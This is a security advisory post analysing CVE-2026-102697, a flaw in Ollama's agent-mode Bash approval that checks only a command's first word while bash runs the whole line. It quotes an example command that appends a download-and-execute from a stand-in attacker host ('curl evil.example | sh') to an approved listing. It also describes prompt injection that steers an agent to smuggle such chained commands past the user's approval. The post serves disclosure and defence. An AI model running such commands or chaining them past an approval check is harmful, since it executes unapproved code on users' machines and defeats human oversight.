The Approval Checked the First Word; Bash Ran the Whole Line: CVE-2026-102697 in Ollama Agent Mode
CVE-2026-102697 entered the National Vulnerability Database on 29 September 2026, assigned by VulnCheck as CNA, scoring CVSS 4.0 base 8.5 (High) with a LOCAL vector and PASSIVE user interaction. The subject is Ollama versions 0.14.0 through 0.31.1: an incorrect-authorisation vulnerability in the experimental agent-mode Bash tool approval mechanism, which “fails to properly parse shell syntax.” An attacker who can influence model output through prompt injection can append control operators — semicolons, &&, || — to an approved command and execute arbitrary additional shell commands, bypassing the session approval requirement entirely.
We verified the mechanism against the tagged source rather than trusting the summary. The defect is exactly the class this site keeps finding at agent boundaries: the policy speaks in strings, the executor speaks in shell. It is the same structural error as the grep_search auto-approval flaw we covered in Ollama itself — only this time the bypass runs through the approval dialog the user actually sees and trusts.
Approval by prefix, execution by bash -c
Reading Ollama v0.31.1 — inside the affected range — the two halves of the bug sit in two files. In x/tools/bash.go, BashTool.Execute takes the model-supplied command string and runs it whole:
cmd := exec.CommandContext(ctx, "bash", "-c", command)
No parsing, no splitting, no allowlist consultation at execution time. Whatever string arrives is a shell program.
In x/agent/approval.go, the approval side works purely on that same string. Three layers, all lexical. IsAutoAllowed trims whitespace, takes strings.Fields(command)[0] — the first whitespace-delimited word — and waves through anything starting with a known-safe binary, plus a prefix list. extractBashPrefix, which builds the session-allowlist keys behind the “Allow for this session” option, splits the command on | (pipes) and then on whitespace, and recognises a fixed set of read-oriented commands (cat, ls, head, grep, find, sed and friends) paired with a path argument. The exact-match key is the literal string bash:<cmd>.
Nowhere in that pipeline is there a shell parser. Nothing splits on ;, &&, ||, newlines, $() or backticks. So ls tools/; curl evil.example | sh presents the prefix ls:tools/ — matching a session approval the user granted for innocent directory listings — while bash -c executes both statements. The user approved a listing; the agent ran a listing plus whatever the injected second command was. The NVD description’s phrasing (“appending control operators like semicolons or logical operators to approved commands”) describes this precisely.
Prompt injection is the delivery vehicle, not the vulnerability
Note the CVSS interaction flags: privileges required NONE, user interaction PASSIVE, attack vector LOCAL. The threat model is not a remote attacker with a socket. It is untrusted content reaching the model — a poisoned web page, a malicious file in the working directory, an email — that steers the agent to propose a command whose benign head satisfies the approval check while its tail does the work. The user sees “ls tools/…” and clicks allow. This is the approval-dialog analogue of the agent-oriented tool abuse the Ollama honeypot study documented at internet scale: the model is the confused deputy, and the approval UI is the deputy’s badge.
It also continues an uncomfortable Ollama streak. Bleeding Llama (CVE-2026-7482) exposed unauthenticated memory disclosure in the server; the grep_search flaw turned a “read-only” tool into silent command execution via $(). Three distinct issues, one theme: the gap between what the tool claims to be (read-only, approved, server-side) and what the executor does. Local-first inference does not localise the blast radius when the agent’s shell is the target.
What to do
- Upgrade past the affected range. The CVE record marks every release from 0.14.0 up to 0.31.2 as affected; run 0.31.2 or later. Confirm with
ollama --versionon every machine where agent mode is enabled, including developer laptops that tend to lag. - Treat “allow for this session” as a standing grant, and scope it accordingly. Session approvals in the affected versions persist for prefix-matching commands. After upgrading, re-examine what long-lived approvals exist in agent workflows and prefer single-execution approvals for anything touching network or credentials.
- Do not rely on first-word or prefix checks anywhere in your own agent stack. If you gate tool calls by matching command strings, you have this bug until proven otherwise. Parse with a real shell grammar (or, better, avoid shell entirely: exec argv-style with no interpreter) before deciding what a command is.
- Assume the model’s proposed command is attacker-influenced. Agent-mode approvals are meaningful only if the approver can see the full command the executor will run — after all shell interpretation, not before. Display the raw string, and be suspicious of anything longer than the head you recognise.
Verification note: we pulled the NVD 2.0 API record for CVE-2026-102697 on 4 October 2026 (published 29 September 2026, VulnCheck as CNA, status Awaiting Analysis, CVSS 4.0 8.5 HIGH, affected Ollama 0.14.0–0.31.1) and independently confirmed the mechanism against the ollama/ollama repository at tag v0.31.1 — full-string bash -c execution in x/tools/bash.go, first-word auto-allow, pipe-only splitting in extractBashPrefix, and exact/prefix session-allowlist matching in x/agent/approval.go, with no shell-syntax parsing anywhere on the approval path. We could not identify a discrete upstream fix commit from public sources, so we state the fixed boundary (0.31.2+) exactly as the CVE record gives it and no further. No exploit testing was performed; the prompt-injection delivery scenario is the CNA’s stated threat model, not an observed campaign.
Sources:
- NVD API — CVE-2026-102697 record (published 29 September 2026; VulnCheck CNA; CVSS 4.0 8.5 HIGH; Ollama 0.14.0 before 0.31.2)
- ollama/ollama at tag v0.31.1 —
x/tools/bash.go(BashTool.Executeruns the full command string viabash -c) - ollama/ollama at tag v0.31.1 —
x/agent/approval.go(first-word auto-allow,extractBashPrefixpipe/whitespace splitting, exact and prefix session-allowlist matching) - VulDB — CVE-2026-102697 entry (advisory and CVE reservation dated 29 September 2026)